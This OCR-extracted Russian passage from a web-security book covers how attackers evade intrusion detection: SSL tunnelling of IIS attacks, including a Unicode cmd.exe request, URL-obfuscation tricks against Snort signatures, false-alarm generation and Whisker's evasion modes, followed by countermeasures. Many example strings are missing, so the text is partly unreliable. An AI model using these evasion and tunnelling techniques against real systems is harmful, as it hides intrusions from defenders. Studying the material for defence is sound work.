Первый шаг в понимании нового червя --- дизассемблирование его двоичного кода и идентификация его поведения. Достаточно внести небольшие изменения, чтобы аг рессия обрела новые, более устрашающие очертания, а у червя появилась временная свобода действий. Черви, которые появятся в будущем, будут написаны исключительно на языке ас семблера, а также будут содержать полиморфные процедуры, антиотладочную защиту и сложный для трассировки код. Представьте себе тщательно спроектированного чер вя, который может распространяться на нескольких платформах и использовать неиз вестные изъяны двух доминирующих сегодня Web серверов --- Apache и IIS. Все это обязательно случится. Это всего лишь вопрос времени. Отсчет уже начался. Резюме Сегодняшняя Internet --- это уже совершенно другой мир по сравнению с тем, ка ким он был всего лишь несколько лет назад. Это настоящее поле компьютерных бата лий. Открытость Internet только способствует заражению. Черви и вирусы стали на стоящим бедствием Internet и вряд ли исчезнут в ближайшем будущем. Вполне веро ятно, что современные черви будут казаться "игрушками" на фоне тех вирусов, с которыми киберсообществу придется столкнуться в ближайшие годы. Поэтому, чтобы предотвратить успешность таких атак, необходимо сохранять бдительность. 332 Часть IV. Приемы фу в Web
ГЛАВА17 IDS Свойство бомбардировщика В 2 обеспечивает его уникальную способность проникать сквозь самые совершенные сис темы защиты противника и создавать угрозу для его наиболее важ ных и тщательно обороняемых целей. Из списка тактико технических характеристик бомбардировщика В 2 Сил США
Введение Современные методы ведения военных действий позволяют осуществлять молние носные атаки. Способность пресечения и отражения нападения во многом зависит от того, насколько быстро и своевременно его удалось обнаружить. Для выявления лю бой враждебной деятельности используются радиолокационные спутники и другие системы мониторинга и наблюдений. Однако даже в реальных боевых усло виях обнаружение атак не достигает точности. Иракские войска использо вали выполненные в натуральную величину картонные макеты советских танков Т 72, которые на спутниковых снимках воспринимались союзническими силами как на стоящие машины. Системы выявления вторжений (Intrusion Detection Systems --- IDS) для компью терных сетей во многом функционируют точно так же, как и аналогичные системы, используемые военными. Контролируются все действия, и лишь затем принимается решение об их "злонамеренности". В этой главе речь пойдет о том, как системы выявления вторжений могут исполь зоваться для обнаружения Web атак и как можно организовать некоторые Web атаки, чтобы с успехом обойти системы IDS. Общие сведения о системах IDS Системы выявления вторжений (IDS) предназначены для выявления атак и уведом ления о них в реальном времени. Традиционная система IDS, в которой не используют ся процедуры анализа, состоит из трех функциональных элементов --- модуля мониторинга, модуля логического вывода и модуля оповещения. Модуль мони торинга собирает данные о текущей деятельности (в большинстве случаев эти данные характеризуют сетевой трафик). Поскольку в книге рассматриваются Web атаки, основ ное внимание уделяется только тем из них, которые выполняются по сети, а не ини циируются в самой целевой системе. Данные, собранные модулем мониторинга, затем передаются модулю логического вывода. Этот модуль анализирует полученные данные и определяет, порождены они нормальными или злонамеренными действиями. С каждой атакой связана характерная для нее сигнатура --- шаблон, по которому эту атаку можно распознать и классифицировать. Для выявления атак в большинстве систем IDS (как коммерческих, так и с открытым исходным кодом) используются именно сигнатуры. После обнаружения атаки модуль оповещения генерирует ответ, основанный на кон фигурационных параметрах самой системы. Реакция системы может быть либо пассив ной, либо активной. Если в качестве ответного действия IDS направляет предупреж дающее сообщение на консоль администратора или добавляет запись в системный жур нал, то это пассивная реакция. Активная реакция может быть связана с передачей брандмауэру сообщения о необходимости блокирования трафика, иницииро ванного взломщиком. В зависимости от размещения IDS можно разделить на две кате гории: сетевые и (функционирующие на отдельных Сетевые IDS системы выявления вторжений --- это специализированные системы, раз мещаемые непосредственно в сегменте сети и используемые для обнаружения атак, на правленных на любой узел этой Одна сетевая IDS может осуществлять мониторинг 334 Часть IV. Приемы фу в Web
нескольких сетевых сегментов и предоставлять обобщенные отчеты об атаках, зафик сированных в рамках этих сегментов. При этом перехватываются и анализируются все данные, передаваемые в сети. Для решения этой задачи сетевая система выявления вторжений должна обладать очень высоким быстродействием и как можно меньше снижать пропускную способность сетевых каналов связи. К числу популярных сетевых IDS относятся такие коммерческие программные продукты, как RealSecure от компании ISS (http://www.iss.net/products services/ и SecureNet от компании Intrusion, Inc. а также програм мы, разработанные в рамках модели открытого кода, например Snort IDS системы используются на том компьютере, мониторинг которого осуще ствляется. Они отслеживают только те данные, которые поступают извне или переда ются на данный узел. Помимо анализа сетевого трафика и обнаружения внешних атак, для идентификации несанкционированных действий IDS на уровне узла позво ляют также выполнять мониторинг других системных параметров, таких, как запу щенные процессы, доступ к файловой системе и ее целостность, а также события ре гистрации пользователей. К популярным IDS уровня узла относятся Defender от компании ISS и Port Sentryоткомпании (http://www.psionic.com/products/portsentry.html). Каждая система выявления вторжений имеет свои достоинства и недостатки, одна ко при обнаружения Web атак сетевые IDS и системы, установленные на отдельных узлах, демонстрируют примерно одинаковую эффективность. Точность IDS Одна из ключевых проблем, связанных с системами выявления вторжения, --- необ ходимость обеспечить достаточно высокую точность предоставляемых ими результатов. Ошибки IDS бывают двух типов: ложное срабатывание (fake positive) и несрабатывание в случае атаки (false negative). Ложное срабатывание происходит в том случае, если обычные действия расцениваются системой как атака, хотя на самом деле это совсем не так. Вторая ошибка возникает из за того, что реальная атака остается незамеченной. С точки зрения возникающего риска более опасным считается второй случай. Система пропустившая хотя бы одно нападение, может оказаться абсолютно неэффектив ной, поскольку для успешного достижения поставленной цели зачастую тре буется реализовать лишь одну атаку, ущерб от которой будет колоссальным. Ложное срабатывание может вызывать лишь раздражение, причем его степень зависит от объема действий, которые при этом необходимо выполнять. Однажды сетевая система выявле ния вторжений начала отправлять огромное число предупреждений, когда авторы этой книги загружали исходный код утилиты взлома с общедоступного Web узла архивов. IDS "решила", что на этом архивном узле каждый фрагмент кода является враждебным. Устранить эту проблему оказалось довольно легко. Другая крайность связана с тем, что при получении лавины ложных предупреждений системные администраторы просто от ключают IDS, что потенциально может привести к катастрофе. Идеальной системы выявления вторжений, которая обеспечила бы отсутствие ложных срабатываний и идентификацию всех атак, не существует. Когда Web хакеру Глава 17. Обход систем IDS 335
требуется прорваться через IDS, он может либо замаскировать атаку, тем самым обес печив ее незаметность, либо с помощью автоматизированных средств сгенерировать сотни ложных срабатываний, которые будут фиксироваться в журналах IDS. Обход систем IDS Чтобы передать вредоносные данные и остаться незамеченным системой выявле ния вторжений, должен изучить основные принципы ее функционирова ния и выявить изъяны каждого из ее компонентов. Работа любой IDS основана на использовании анализатора сетевых пакетов и модуля анализа сигнатур. Простейший их обхода заключается в передаче зашифрованных данных, декодируемых в той точке, на которую нацелена атака. О чем еще может мечтать Web взломщик, если существует протокол SSL! Основанные на SSL Web атаки сводят на нет усилия прак тически всех сетевых систем выявления вторжений. Другой способ обмана анализатора пакетов IDS связан с передачей данных в про извольно чередующихся фрагментах. Если фрагменты поступают в произвольном по то IDS придется потратить некоторое время, чтобы снова собрать всю последо вательность, прежде чем данные можно будет передать модулю анализа сигнатур. Для фрагментации данных, используемых при реализации атаки, и передачи их на целе вую систему в произвольном порядке могут пригодиться такие программы, как fragrouter(http://packetstormsecurity.Org/UNIX/IDS/fragrouter l.6.tar.gz). Однако сле дует заметить, что большинство современных IDS выполняют сборку фрагментов и вполне справляются с решением этой проблемы. Последний, и порой наиболее эффективный, способ обхода IDS заключается в гене рации строк, характеризующих атаку, которые вводили бы модуль анализа сигнатур в заблуждение. Лишь немногие средства переполнения буфера основаны на полиморфном коде, который обеспечивает, чтобы никакие две сигнатуры не совпадали друг с другом. Полиморфный код может показаться чем то из области космических технологий, одна ко в мире Web хакеров механизм анализа сигнатур можно обойти без каких бы то ни было проблем. Такой подход позволяет взломщику изменять адреса URL и HTTP запросы таким образом, чтобы они каждый раз выглядели иначе, но позволяли бы вы полнять прежнюю задачу. Более подробно эти методы рассматриваются ниже. "Безопасный" хакинг --- атаки с использованием протокола SSL Как правило, в приложениях электронной коммерции конфиденциальные данные передаются с использованием протокола SSL. На его основе между Web броузером и Web сервером устанавливается зашифрованное соединение, в рамках которого пере даваемые данные защищены от прослушивания. При разработке протокола SSL пре следовалась единственная цель: обеспечить невозможность перехвата пакетов с помо щью сетевых анализаторов пакетов. С использованием этих средств злоумышленники извлекают из передаваемых данных конфиденциальную информацию. Для выявления вторжений протокол SSL является единственным существенным препятствием. В большинстве систем IDS для сбора данных о сетевой деятельности используются средства анализа пакетов. Если передаваемые данные зашифрованы, то их анализ и проверку на "благонадежность" выполнить уже невозможно. Все IDS, ра бота которых основана на анализе сетевых пакетов, "не замечают" атаки на базе Это продемонстрировано на рис. 17.1. 336 Часть IV. Приемы фу в Web
IDS HTTP Web клиент Web сервер Web клиент Рис. 17.1. Обход IDS с использованием протокола SSL Пример Чтобы проиллюстрировать "возможности" IDS по выявлению атак, основанных на использовании протокола SSL, рассмотрим пример такой атаки на узел под управле нием Windows, на котором установлен также Web сервер IIS 4.O. В рамках примера рассматривается сетевая конфигурация. • Сервер IIS прослушивает порты 80 и 443 узла • Система выявления вторжений Snort запущена на узле webspy, прослушиваю щем тот же сетевой сегмент, в котором находится и узел • Взломщик 1 располагается на узле* • Взломщик #2 располагается на узле , За время между 9:46 P.M. и 9:53 P.M. против узла было инициирова но четыре атаки: две атаки MDAC RDS с узла и две атаки Unicode с узла10.0.0.2. Время Хакер Использование SSL Используемый адрес P.M. 10.0.0.1 Нет P.M. 10.0.0.2 Нет winnt/system32/cmd.exe?/c+set Да 10.0.0.1 9:49 P.M. Глава 17. Обход систем IDS 337
Время Хакер Использование SSL Используемый адрес P.M. 10.0.0.2 Да Просмотрев регистрационный журнал сервера IIS, установленного на узле можно увидеть, что были зарегистрированы все четыре запроса. Эти за писи приведены ниже. 2002 04 22 21:46:44 10.0.0.1 192.168.7.203 80 GET 200 2002 04 22 21:47:19 10.0.0.2 192.168.7.203 80 GET /c+set 502 2002 04 22 21:49:01 10.0.0.1 192.168.7.203 443 GET /msadc/msadcs.dll 200 + 2002 04 22 21:53:32 10.0.0.2 192.168.7.203 443 GET /c+set 502 А в журналах системы Snort, запущенной на узле содержится только две записи. Apr 22 21:42:20 webspy [1:1023:3] WEB US msadc/msadcs.dll access [Classification: access to a potentially vulnerable Web application] [Priority: 10.0.0.1:2597 > 192.168.7.203:80 Apr 22 21:42:53 webspy [102:1:1] spp http decode: IIS Unicode attack detected 10.0.0.2:1729 > Две атаки через протокол SSL остались вне поля зрения IDS! Следовательно, если взломщик решит проникнуть на узел 192.168.7.203 с помощью протокола SSL, то это останется незамеченным. Туннелирование атак посредством протокола SSL Для реализации HTTP атак с использованием протокола SSL можно без проблем воспользоваться броузером. Для этого достаточно указать в адресе URL префикс https, а не http. Далее броузер сам позаботится о согласовании параметров SSL сеанса и шифровании данных. Однако, если для реализации атаки взломщику нужно вос пользоваться сценарием или утилитой, в которых отсутствует встроенная поддержка протокола SSL, придется прибегнуть к Этот метод подразумева ет использование специальной программы, которая прослушивает порт 80 и при по ступлении на него стандартных HTTP запросов передает их через зашифрованное SSL соединение указанному узлу. В рамках такой схемы передаваемые данные будут автоматически шифроваться и передаваться целевой системе. Построить SSL туннель на базе пакета OpenSSL совсем несложно, особенно в системе Unix, в которой используется демон inetd. Рассмотрим пример, когда злоумышленник находится на узле а целевой Web сервер установлен на узле и прослушивает порт 443. Предположим, что взломщик хочет за пустить на целевом Web сервере такую программу поиска изъянов, как Whisker. Для реализации задуманного плана злоумышленник создает SSL туннель на другой сис теме, При этом в файл на узле он добавляет сле дующую запись: www nowait root /usr/sbin/tcpd 338 Часть IV. Приемы фу в Web
Подобное изменение конфигурации приведет к тому, что демон inetd будет переда вать сценарию весь TCP трафик, приходящий на порт 80 (WWW). В файле содержится следующий код: openssl quiet connect 192.168.7.203:443 Поскольку сценарий /tmp/sslc o n n ect. sh запускается демоном inetd, все данные, по ступающие на TCP порт 80, воспринимаются утилитой openssl как данные, поступаю щие из стандартного входного потока. IP адрес 192 .168.7.2 03 целевого сервера жестко задан в самом сценарии. Один такой SSL туннель одновременно можно использовать для взаимодействия только с одной системой. Параметры no_tlsl и quiet предназна чены для подавления вывода на экран заголовков SSL и обхода предупреждений SSL аутентификации, генерируемых при использовании неподписанных сертификатов узлов. Все возвращаемые утилитой openssl данные отсылаются обратно через входящее TCP соединение демона inetd, поскольку сценарий передает все данные в стандартный вы ходной поток. Использование SSL туннеля продемонстрировано на рис. 17.2. / Web клиент ) 80 inetd openssl 5 10.0.0.1 10.0.0.2 192.168.7.203 Рис. 17.2. SSL туннель, реализованный с использованием демона и средств Теперь в качестве целевого сервера утилиты Whisker взломщик может задать узел 10.0.0.2 и порт 80, а не узел 192.168.7.203. При этом шифрование и передача данных на узел а также передача ответов по адресу будут обеспечивать ся SSL туннелем. Более удачный и надежный SSL туннель можно организовать с использованием утилиты stunnel. Ее исполняемую версию для системы Windows, разработанную на ба зе библиотек OpenSSL, можно найти по адресу http://www.stunnel.org/. Выявление вторжений через SSL Что делать, если протокол сводит на нет все попытки выявления вторжений? Простого ответа на этот вопрос не существует, хотя рядом специалистов были пред ложены различные решения, в которых учитывалась специфика конкретных ситуаций. Оказалось, что наилучший вариант связан с использованием реверсивного HTTP посредника (reverse HTTP proxy). На рис. 17.3 показано, как такой посредник можно использовать для перехвата SSL трафика, прежде чем он достигнет Web сервера, и для передачи Web серверу HTTP запросов с незашифрованным текстом. При этом систе ма выявления вторжений размещается между реверсивным HTTP посредником и Web сервером и позволяет выделять в HTTP трафике сигнатуры атак. Единственный недостаток такой архитектуры заключается в том, что исходный IP адрес системы, с которой была инициирована атака, заменяется IP адресом реверсив ного HTTP посредника. Для получения исходного IP адреса придется сопоставить журналы HTTP посредника и IDS. Глава 17. Обход систем IDS
GET HTTP/1.0 443 17.3. Реверсивный HTTP посредник и система IDS Анализ трафика SSL Утверждение о том, что проанализировать данные, передаваемые через SSL соединение, невозможно, не совсем верно. При передаче ключа сеанса между Web сервером и броузером используется протокол SSL, в основу которого положены крип тографические методы с применением открытого ключа. Ключ сеанса (закрытый симметричный ключ) используется Web сервером и броузером для шифрования дан ных, которыми они обмениваются во время HTTP сеанса. Если удастся получить ключ сеанса SSL, то можно расшифровать поток перехва ченных данных. Ключ сеанса SSL можно получить лишь при его передаче между Web сервером и броузером. Однако такое взаимодействие выполняется с использова нием шифрования по открытому ключу. Таким образом, для получения ключа сеанса взломщик должен получить доступ к серверному и клиентскому SSL сертификатам, если таковые используются. Web серверы достаточно редко заставляют использовать сертификат в клиентском броузере. Зная закрытый ключ SSL сертификата сервера, хакер сможет выполнить дешиф рацию данных SSL соединения, если анализатор трафика SSL был запущен до того момента, как было установлено само соединение. И такая утилита анализатор су ществует. Программа ssldump представляет собой вер сию tcpdump, которая позволяет перехватывать трафик SSL. Более подробную инфор мацию об утилите ssldump и основных принципах ее использования можно получить на Web узле rtfm.com. Рассмотрим пример практического использования утилиты ssldump. Web сервер Apache с поддержкой протокола SSL запущен на узле В конфигураци онном файле этого сервера содержится две директивы, определяющие местоположе ние серверного SSL сертификата и соответствующего закрытого ключа. SSLSertificateKeyFile В рассматриваемом примере утилита ssldump запущена на том узле, на котором можно анализировать входящий и исходящий сетевой трафик Для того чтобы с использованием программы ssldump можно было успешно рас шифровать данные SSL, в своем распоряжении нужно иметь копию закрытого ключа 340 Часть IV. Приемы фу в Web
SSL сертификата --- Расшифрованный с помощью утилиты ssldump HTTP сеанс между узлами и выглядит следующим образом. q d k New TCP connection 10.0.0.1(1410) < > 192.168.7.204(443) 1111111111 12 345678 910 0000000000 .0075 .0096 .0097 .0097 .0153 .0531 .0531 .0541 .0541 .0560 (0 (0 (0 (0 (0 (0 (0 (0 (0 (0 .0075) .0020) .0001) .0000) .0055) .0377) .0000) .0010) .0000) .0019) OS S>C S>C s>c OS OS OS s>c s>c OS compatible client hello Handshake Handshake Handshake Handshake Handshake ChangeCipherSpec Handshake application data ServerHello Certificate ServerHelloDone Finished Finished GET /cgi bin/test cgi HTTP/1.0 Connection: Keep Alive User Agent: [en] (Windows NT 5.0; 0) Host: 192.168.7.204 Accept: */* Accept Encoding: gzip en Accept Charset: 1 11 0.1046 (0.0485) S>C application_data HTTP/1.1 200 OK Date: 23 Apr 2002 20:21:11 GMT Server: Apache/1.3.19 Connection: close text/plain CGI/1.0 test script report: argcis0.argvis. = Apache/1.3.19 = 192.168.7.204 GATEWAY INTERFACE = = SERVER_PORT = GET HTTP_ACCEPT = */* PATH_INFO = = = /cgi bin/test cgi QUERY STRING = = = = = = POST QUERY: 1 12 0.1131 (0.0084) S>C Alert warning close_notify Глава 17. Обход систем IDS 341
0.1138 (0.0006) S>C TCPFIN OS Alert warning close notify 1 0.1172 (0.0003) OS TCP FIN На узле 1 0 . 0 . 0 . 1 сгенерирован запрос по адресу bin/test cgi. В рассматриваемом примере с использованием утилиты удалось расшифровать как HTTP запрос, так и ответ. При использовании в системах выявления вторжений модуля анализа данных SSL возникает две проблемы. Во первых, дешифрация трафика требует значительных ресурсов центрального процессора. Для эффективной работы в реальном времени анализ данных SSL нужно выполнять исключительно на мощных и быстродействую системах. Во вторых, если протокол SSL используется на множестве серверов, на которых применяются различные сертификаты и ключи, то для каждого из них необ ходимо запускать отдельный экземпляр SSL анализатора. Полиморфные адреса URL Слово полиморфный (polymorphic) означает, что тот или иной объект имеет не сколько форм. Полиморфными будем называть такие адреса URL, которые связаны с одним и тем же ресурсом, однако имеют различный вид. В главе 3 обсуждалась структура URL, а также способы, с использованием которых в адресах URL можно закодировать запрещенные символы. Если внимательно по смотреть на структуру URL, то можно заметить, что один и тот же адрес можно пред ставить несколькими способами. Вполне очевидно, что подобное представление в различной форме может понадобиться для обхода анализа сигнатур. Проиллюстрируем это на примере. Вернемся к сценарию, когда злоумышленник располагается на узле а целевой сервер имеет адрес Програм ма snort запущена на системе webspy, которая прослушивает тот же сетевой сегмент, в котором содержится и узел В данном случае рассматривается атака RDS/MDAC. Ее реализация подразумевает генерацию запроса к ресурсу msadcs.dll сервера IIS. Для того чтобы определить, существует ли ресурс msadcs.dll в конкретной системе, можно сгенерировать следующий HTTP запрос: пс 192.168.7.203 80 GET HTTP/1.0 HTTP/1.1 200 OK Server: Date: 22 Apr 2002 11:54:07 GMT Content Type: Content Length: 6 . ??? Запрашиваемый ресурс находится по адресу Ответ сервера свидетельствует о том, что данный ресурс действительно существует и запрос был успешно обработан. Как только будет отправлен данный запрос, в журнале узла webspy появится предупреждение о том, что IDS обнаружила атаку. Это сообще ние имеет следующий вид: Apr 22 11:54:09 webspy [1:1023:3] msadc/msadcs.dll access [Classification: access to a potentially vulnerable web application] [Priority: 10.0.0.1:1195 > 342 Часть IV. Приемы фу в Web
В специальном файле утилиты snort, в котором содержится набор правил выявле ния атак на сервер IIS, за обнаружение доступа к ресурсу отвечает следующее правило: alert tcp any $HTTP SERVERS 80 msadc/msadcs.dll access"; flags: A+; sid:1023; В соответствии с этим правилом в HTTP запроса выполняется поиск шаблона /msadc/msadcs.dll. Если HTTP запрос на доступ к ресурсу удастся переписать таким образом, чтобы совпадения с шаблоном уже не было, то нападение может оказаться незамеченным. Ниже приведены наиболее распространенные способы представления этого запроса. • Представление символов кодом. • Избыточное кодирование или недопустимое кодирование символов в формате Unicode. • Добавление фиктивных путей. • Вставка комбинации символов • Использование в пути нестандартных символов разделителей. • Использование нескольких символов /. Шестнадцатеричное кодирование В главе 5 описывалось, каким образом символы, которые запрещено использо вать в адресах URL напрямую, можно зашифровать с помощью двухзначного шест представления их ASCII кодов. В формальной спецификации URL указано, что Web броузеры должны использовать Шестнадцатеричное кодирование только для тех символов, которые не могут быть представлены напрямую. Однако Web серверы декодируют любые символы, представленные в формате, в том числе символы алфавита и цифры. С использованием ричного кодирования запрос GET /msadc/msadcs.dll можно представить следующим образом: GET При использовании такого запроса будет получен тот же конечный результат. Од нако с использованием кодирования систему Snort обмануть не удастся. В ее состав входит препроцессор который используется в качестве де шифратора URL. Декодированный с помощью препроцессора адрес URL проверяется на наличие в нем любых известных сигнатур. Избыточное шифрование или недопустимое кодирование символов в формате Unicode Web серверам IIS можно передать HTTP запросы, сгенерированные с использова нием недопустимого кодирования Unicode или избыточного шифрования. Более под робно этот вопрос обсуждается в главе 5. Ниже показано, как с использованием та кого подхода можно зашифровать строку /msadc/msadcs.dll. Глава 17. Обход систем IDS 343
Метод шифрования Зашифрованная строка Двухбайтовое шифрова Unicode Трехбайтовое шифрова Unicode Двойное шифрование HTTP препроцессор программы Snort выполняет также декодирование тех данных, к которым было применено недопустимое двойное Unicode кодирование или избы точное шифрование. При передаче по сети запросов, сгенерированных использова нием этих методов, утилитой Snort генерируются предупреждения. Добавление фиктивных путей Если в адресе URL содержится строка это означает, что каталог, указанный перед данной строкой, игнорируется. Это условие позволяет вставлять в строку URL фиктивные пути или фиктивные имена каталогов, а затем игнориро вать их с помощью строки Использование фиктивных путей может сбить с тол ку механизм поиска по шаблону модуля анализа сигнатур. В приведенном ниже фрагменте показано, как фиктивные пути можно вставить в запрос на доступ к ре сурсу GET HTTP/1.0 В данном случае шаблон /m s adc/m s adc s .dll был нарушен путем добавления строки между строками /msadc/ и msadcs .dll. На этот раз средствами Snort обна ружить атаку RDS/MDAC не удастся. Однако система Snort позволяет обнаружить, что в строке содержится недопустимый символ обхода каталога. В результате бу дет сгенерировано соответствующее предупреждение, поскольку в обычных адресах URL строка используется. Вставка строк / Еще один способ маскирования URL для реализации атаки --- использование строк Указанная перед спецификацией файла строка свидетельствует о том, что эта спецификация связана с текущим рабочим каталогом. Ниже представлено несколько вариантов запроса к ресурсу /m s adc/ms adcs .dll, модифицированного с ис пользованием строк GET GET HTTP/1.0 GET HTTP/1.0 GET HTTP/1.0 Все эти запросы успешно обошли средства защиты snort. Однако эту ситуацию можно легко исправить, дополнив набор правил поиска сигнатур новым правилом для строки состав набора правил программы snort уже включено правило по иска строки Правило для строки можно добавить в ту же категорию правил как показано ниже. 344 Часть IV. Приемы фу в Web
tcp NET any > 80 http slash dot slash string"; flags: A+; content: sid:9999; Использование в пути нестандартных символов разделителей При задании адресов URL сервер IIS компании Microsoft разрешает использовать в пути в качестве символа разделителя обратную косую черту Компания Microsoft использовала этот символ разделитель еще со времен DOS и при реализации своего Web сервера также "решила" проигнорировать спецификации и в которых определено, что в качестве такого разделителя должен использоваться толь ко символ прямой косой черты Таким образом, все направляемые серверу IIS запросы HTTP можно модифициро вать, воспользовавшись в качестве разделителя символом \. В этом случае запрос на получение доступа к ресурсу будет выглядеть следующим образом: GET НТТР/1.0 Поскольку в наборе правил утилиты snort шаблон rasadc\msadcs.dll отсутствует, та кой запрос не вызовет никаких подозрений. Для решения этой проблемы любое пра вило, связанное с запросами к серверу IIS, в котором содержится символ разделитель, должно быть продублировано также и с использованием символа разделителя V Еще лучше разработать для программы snort собственный препроцессор, который в адресе URL выполнял бы замену всех символов \ на /. Использование нескольких символов / В качестве разделителя можно использовать не один символ косой черты, а сразу несколько. При этом с использованием такого адреса URL можно выполнять те же действия, что и раньше. Такой прием позволяет ввести в заблуждение системы выяв ления вторжений, например snort. Ниже показаны запросы, эквивалентные исходно му запросу для получения доступа к ресурсу /msadc/msadcs.dll. GET HTTP/1.0 GET HTTP/1.0 Одновременное использование различных подходов Воспользовавшись несколькими рассмотренными выше методами, можно создать еще большее количество адресов URL. Ниже приведены некоторые примеры. GET НТТР/1.0 GET HTTP/1.0 GET HTTP/1.0 Для борьбы с подобными хитростям и эффективного выявления вторжений в со став IDS должен входить специальный HTTP дешифратор или HTTP препроцессор. Глава 17. Обход систем IDS 345
Генерация ложных сообщений Заставить IDS выдать ложное предупреждение об атаке можно различными спосо бами. Один из них заключается в передаче данных, в которых содержится строка, совпадающая с шаблоном из таблицы сигнатур системы IDS. При этом сами дан ные с атакой могут быть и не связаны. Рассмотрим три URL. • • • В первом адресе содержится ссылка на несуществующую точку привязки Соответствующий HTTP запрос будет успешно обработан, и с узла кли ентский броузер получит содержимое страницы Однако одновременно с этим IDS сообщит об атаке на узел 192.168.7.203, поскольку строка cmd.exe содержит ся в одной из проверяемых ею сигнатур. Во втором адресе URL через строку запроса статическому HTML файлу передается параметр. Web серверу передается параметр с именем со значением Эта хранимая процедура используется в реальных атаках, когда в строку URL вставляется специальный SQL запрос. В данном же случае index.html --- это ста тическая HTML страница, которой ничего не известно о каких либо передаваемых ей параметрах. Эти параметры попросту отбрасываются. IDS не может определить, ис пользуется ли какой либо адрес URL для реального нападения. В рассматриваемом случае такая IDS, как snort, сообщила бы об атаке на узел 192.168.7.203. В строке запроса третьего адреса URL сценарию CGI передаются параметры. Од нако в строке запроса можно указать и "лишние" параметры, не используемые дан ным сценарием. При этом эффект будет таким же, как и при использовании второго адреса URL. Для проверки все три адреса URL были отправлены с узла на узел 192.168.7.203. При этом системой snort были сгенерированы три предупреждения, причем все они оказались ложными. Apr 22 04:45:14 webspy [1:1002:2] cmd.exe access [Classification: Web Application Attack] [Priority: 10.0.0.1:2490 > 192.168.7.2:80 Apr 22 04:45:47 webspy [1:1061:2] cmdshell attempt [Classification: Web Application Attack] [Priority: > 192.168.7.2:80 Apr 22 04:46:38 webspy [1:1122:1] WEB MISC Attempted Information Leak] [Priority: 10.0.0.1:2495 > 192.168.7.2:80 Обход систем IDS программами проверки изъянов Программы проверки Web изъянов, такие, как Whisker, могут работать с включен ным режимом обхода систем IDS. В программе Whisker реализовано 10 методов обхода IDS. • I 1 Режим обхода IDS 1 (URL кодирование) • I 2 Режим обхода IDS 2 (вставка строки • I 3 Режим обхода IDS 3 (преждевременное завершение URL) 346 Часть IV. Приемы фу в Web
• I 4 Режим обхода IDS 4 (длинный URL) • I 5 Режим обхода IDS 5 (фиктивный параметр) • I 6 Режим обхода IDS 6 (разделение с использованием табуляции) (не исполь зуется для NT/IIS) • I 7 Режим обхода IDS 7 (чувствительность к регистру) • I 8 Режим обхода IDS 8 (ограничитель Windows) • I 9 Режим обхода IDS 9 (слияние сеансов) (медленный) • I 0 Режим обхода IDS 0 (метод NULL) При поиске изъянов методы обхода систем IDS могут комбинироваться. Потенциальные контрмеры Основатель компании NFR, Inc. Маркус (Marcus выступая на со вещании Briefings 1999, впервые заговорил о необходимости разработки "охранных сигнализаций" и "ловушек". Он отметил, что самая надежная защита мо жет быть достигнута при обеспечении безопасности как внешнего периметра сети, так и каждого узла в отдельности. Однако, для того чтобы гарантировать отсутствие изъя нов в самих средствах обеспечения безопасности как по периметру сети, так и внутри нее, нужно установить охранную сигнализацию или ловушку. В роли такой ловушки может выступать программа анализатор, которой используются правила анализа паке тов, прямо противоположные правилам, заданным для брандмауэра. Если брандмауэр работает безупречно, то ни один пакет не будет перехвачен анализатором. Однако, ес ли какой либо подозрительный пакет будет обнаружен анализатором, значит, взлом щикам каким то образом удалось обойти брандмауэр. Использование систем выявления вторжений для обнаружения Web атак сопряже но со множеством трудностей. Главным образом, эти трудности обусловлены приро дой HTTP запросов и основными принципами взаимодействия с Web приложениями. Из за большого разнообразия путей, которые можно использовать для решения одной и той же задачи, системы IDS просто не в состоянии справиться со всеми возможны ми способами реализации атак. Такие системы гораздо лучше подходят для обнаруже ния отдельных событий. Поэтому при построении или настройке IDS для обнаруже ния Web атак нужно руководствоваться следующими принципами. Декодирование SSL При выявлении вторжений из Web самым серьезным препятствием является протокол SSL. Сетевые IDS работают подобно "третьему среднему", проверяя сете вой трафик и выполняя поиск в нем известных сигнатур еще до того момента, как он достигнет конечной цели. Протокол SSL разрабатывался специально для того, чтобы предотвратить любое стороннее подслушивание. Создание IDS, которая рабо тала бы с трафиком SSL, можно отнести к классу двойственных задач для разработ ки протокола SSL. Однако, как упоминалось выше, для выполнения декодирования данных SSL мож но либо предоставить IDS используемые на сервере SSL сертификаты и закрытые ключи, либо реализовать реверсивный HTTP сервер, который выполнял бы дешифра цию SSL трафика, а затем передавал его внутренним Web серверам. В последнем слу чае IDS можно разместить между реверсивным сервером посредником и внутренним Web сервером. Глава 17. систем IDS 347
Декодирование адресов URL Чтобы избежать обнаружения системой IDS можно воспользоваться самым рас пространенным подходом. Он заключается в изменении строки URL таким образом, чтобы для механизма проверки сигнатур она осталась "незамеченной". Для того бы IDS успешно идентифицировала атаки даже при использовании модифицирован ных адресов URL, их декодирование необходимо выполнять еще до этапа проверки сигнатур. Такая система позволила бы избежать как ложных предупреждений, так и несрабатывания при наличии описанных выше атак. Однако с декодированием URL связаны и некоторые недостатки. Для решения этой задачи при достаточно большом размере сетевых пакетов может потребоваться много ресурсов. Кроме того, до начала декодирования строки URL системе IDS по требуется отделить данные прикладного уровня от пакетов. До тех пор пока IDS, основанные на искусственном интеллекте, не докажут свою эффективность, администраторам по безопасности следует уделять более серьезное внимание непосредственной защите Web серверов и выполнять поиск в их журналах признаков необычных или злонамеренных действий, а кроме того, при детектировании атак не полагаться на системы IDS. Резюме Наука выявления сетевых атак далека от совершенства. Системы IDS предназначе ны для уведомления сетевых администраторов о потенциальных вторжениях. Вместе с тем при детектировании всех атак, нацеленных на сеть, полностью полагаться на IDS не следует. В настоящее время многие разработчики предлагают системы, которые по зволяют автоматически менять параметры брандмауэра и блокировать передачу в сеть опасных данных. Иногда подобные предложения искажают сам смысл обеспечения безопасности. Для разработки более эффективных решений по обеспечению зашиты требуется дальнейшее усовершенствование систем IDS. 348 Часть IV. Приемы кунг фу в Web
ПРИЛОЖЕНИЕ А Перечень серверами баз данных Web серверами
